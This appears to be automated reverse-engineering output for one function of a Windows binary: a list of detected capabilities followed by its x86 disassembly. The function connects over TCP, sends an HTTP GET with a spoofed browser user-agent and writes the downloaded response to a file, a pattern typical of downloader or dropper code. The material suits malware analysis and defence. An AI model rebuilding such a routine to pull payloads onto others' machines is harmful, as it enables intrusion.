Function at 0x4093e7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
push ebp
push edi
mov eax, 0x144c
push esi
push ebx
call fcn.0041f3f0
sub esp, eax
mov edx, dword [0x42b464]
mov eax, dword [esp + 0x1460]
mov dword [esp + 0x24], 0xffffffff
lea ecx, [edx + 1]
mov dword [eax + 0x614], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [0x42b464], ecx
call fcn.004093d0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x1460]
lea ebx, [esp + 0x28]
mov dword [esp + 8], ebx
mov edx, dword [eax + 0x610]
add eax, 0x204
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.004051b5
test al, al
je 0x409699
mov eax, dword [esp + 0x24]
mov dword [esp + 8], 0x10
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
test eax, eax
jns 0x4094a7
xor ebx, ebx
mov eax, 2
jmp 0x4096b2
mov eax, dword [esp + 0x1460]
lea ebx, [esp + 0x440]
mov dword [esp + 8], str.GET__s_HTTP_1.1_r_nHost:__s__r_nUser_Agent:_Mozilla_4.0__Windows_NT_6.1__WOW64__Trident_7.0__rv:11.0__like_Gecko_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8_r_nAccept_Language:_en_US_en_q0.8_r_nConnection:_close_r_n_r_n
mov dword [esp + 4], 0x1000
mov dword [esp], ebx
lea edx, [eax + 0x204]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
call fcn.004127a8
mov esi, eax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], 0
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp esi, eax
jne 0x40949b
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
mov dword [esp], ebx
call fcn.004129e4
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
test eax, eax
mov ebp, eax
jne 0x40954d
xor ebx, ebx
mov eax, 5
jmp 0x4096b2
cmp eax, 0x1000
jne 0x40955c
mov byte [esp + 0x143f], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], str.200_OK
mov dword [esp], 0
call fcn.004125de
inc eax
je 0x409541
mov dword [esp + 8], ebx
mov dword [esp + 4], str._r_n_r_n
mov dword [esp], 0
call fcn.004125de
cmp eax, 0xffffffff
je 0x409541
lea esi, [eax + 4]
mov eax, dword [esp + 0x1460]
lea edi, [esp + 0x38]
mov dword [esp + 0x14], 0x204
mov dword [esp + 0xc], 0x204
mov dword [esp + 0x10], edi
mov dword [esp + 4], 0
add eax, 0x408
mov dword [esp], 0xfde9
mov dword [esp + 8], eax
call sub.KERNEL32.dll_MultiByteToWideChar
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], 0x4231ca
call sub.msvcrt.dll__wfopen
test eax, eax
mov edi, eax
je 0x4096a2
sub ebp, esi
add esi, ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], 1
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
test eax, eax
mov esi, eax
je 0x409662
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fwrite
cmp esi, eax
je 0x40960c
mov dword [esp], edi
xor ebx, ebx
call sub.msvcrt.dll_fclose
mov eax, 4
jmp 0x4096b2
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov eax, dword [esp + 0x1460]
cmp byte [eax + 0x60c], 0
je 0x4096ab
add eax, 0x408
mov dword [esp + 8], 1
mov dword [esp + 4], 0x4231d0
mov dword [esp], eax
call fcn.00406c2a
jmp 0x4096ab
xor ebx, ebx
mov eax, 1
jmp 0x4096b2
xor ebx, ebx
mov eax, 3
jmp 0x4096b2
mov bl, 1
mov eax, 6
mov dword [esp + 4], eax
mov eax, dword [esp + 0x1460]
mov dword [esp], eax
call fcn.004093d0
lea eax, [esp + 0x1460]
mov dword [esp], eax
call fcn.00407f59
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.00405999
add esp, 0x144c
mov al, bl
pop ebx
pop esi
pop edi
pop ebp
ret